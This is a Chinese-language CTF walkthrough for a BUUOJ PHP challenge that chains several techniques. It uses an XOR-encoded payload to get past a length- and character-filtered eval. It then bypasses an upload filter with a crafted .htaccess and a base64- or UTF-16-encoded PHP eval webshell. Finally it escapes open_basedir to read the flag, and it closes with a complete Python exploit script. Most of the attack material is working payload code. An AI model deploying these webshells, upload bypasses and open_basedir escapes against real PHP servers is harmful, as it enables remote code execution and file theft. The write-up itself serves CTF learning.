很好的一个题考了很多知识点 rce异或绕过 .htacess绕过 open_basedir绕过
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
看到这个东西简单思路是用eval执行get_the_flag方法然后文件上传木马
异或绕过
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255); //dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo "\{$l^$r\}";
echo urldecode("%ff%ff%ff%ff")^urldecode("%a0%b8%ba%ab");
eval($_GET[0]);
?>
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
 第一步成功,这个地方是不能直接搞出shell的,有个长度限制,我们那个payload长度也是刚刚好,然后这里我们异或只能构造GET型,POST不行(具体啥原因不知道。。。。。。)
文件上传绕过
这个先对后缀名ph过滤,所以我们要用.user.ini或.htaccess绕过
是 nginx 的服务器,而且上传目录下有一个 php 文件,上传.user.ini 是 apache 的服务器,应该上传.htaccess
题目是apache,所以用.htaccess
绕过exif_imagetype

.htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。这时有两个办法:
1. 在.htaccess 前添加
# 在.htaccess 是注释符,所以.htaccess 文件可以生效
2. 在.htaccess 前添加 x00x00x8ax39x8ax39(要在十六进制编辑器中添加,或者使用 python 的 bytes 类型) x00x00x8ax39x8ax39 是 wbmp 文件的文件头 .htaccess 中以 0x00 开头的同样也是注释符,所以不会影响.htaccess
SIZE_HEADER = b"\n\n#define width 1337\n#define height 1337\n\n"
def generate_php_file(filename, script):
phpfile = open(filename, 'wb')
phpfile.write(script.encode('utf-16be'))
phpfile.write(SIZE_HEADER)
phpfile.close()
def generate_htacess():
htaccess = open('.htaccess', 'wb')
htaccess.write(SIZE_HEADER)
htaccess.write(b'AddType application/x-httpd-php .lethe\n')
htaccess.write(b'php_value zend.multibyte 1\n')
htaccess.write(b'php_value zend.detect_unicode 1\n')
htaccess.write(b'php_value display_errors 1\n')
htaccess.close()
generate_htacess()
generate_php_file("shell.lethe", "<?php eval($_GET['cmd']); die(); ?>")
然后是木马那边的绕过 如果只有if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); 这个过滤的话,直接写一句话木马就好,<? 放到最前面,mb_strpos返回0,就绕过了,但是还有exif_imagetype检测,我们前面字符要是GIF89a 才行
不用<? 还有姿势,而这个地方这里的 php 是 7.2 的版本,无法使用
<script language="php">
</script>
解决方法是将一句话进行 base64 编码,然后在.htaccess 中利用 php 伪协议进行解码
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_3869d64b7cfc82acdb6d71b2f332f24b/shell.abc"
内容的一个解读
AddType application/x-httpd-php 
 shell.abc的内容
GIF89a11PD9waHAgZXZhbCgkX0dFVFsnYyddKTs/Pg==
两个1是因为base64为4个字符一组解码,防止吐掉了后面的字符,才能正常解码
然后实操
网页中插入,然后抓包改
<html>
<body>
<form action="http://9c0260c0-c775-4109-a5ac-1b52d3dfa444.node4.buuoj.cn/?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag" method="POST" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>

注意这个地方要是image/jpeg 不然打不了。。。  然后访问打
open_basedir绕过
open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/wwwroot/home/web1/:/tmp/, 那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。 注意用open_basedir指定的限制实际上是前缀,而不是目录名。 举例来说: 若"open_basedir = /dir/user", 那么目录 “/dir/user” 和 "/dir/user1"都是可以访问的。 所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
方法一 蚁剑disable_functions,GC_UAF和Backtrace_UAF都是可以用
方法二 bypass open_basedir的新方法
?c=ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27/%27));
?c=ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(file_get_contents(%27/THis_Is_tHe_F14g%27));

这还有个python写的,搬的其他师傅的
import requests
import base64
htaccess = b"""
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_3869d64b7cfc82acdb6d71b2f332f24b/shell.abc"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://81bf60ca-afee-4c29-8dc7-fae258848659.node4.buuoj.cn?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
|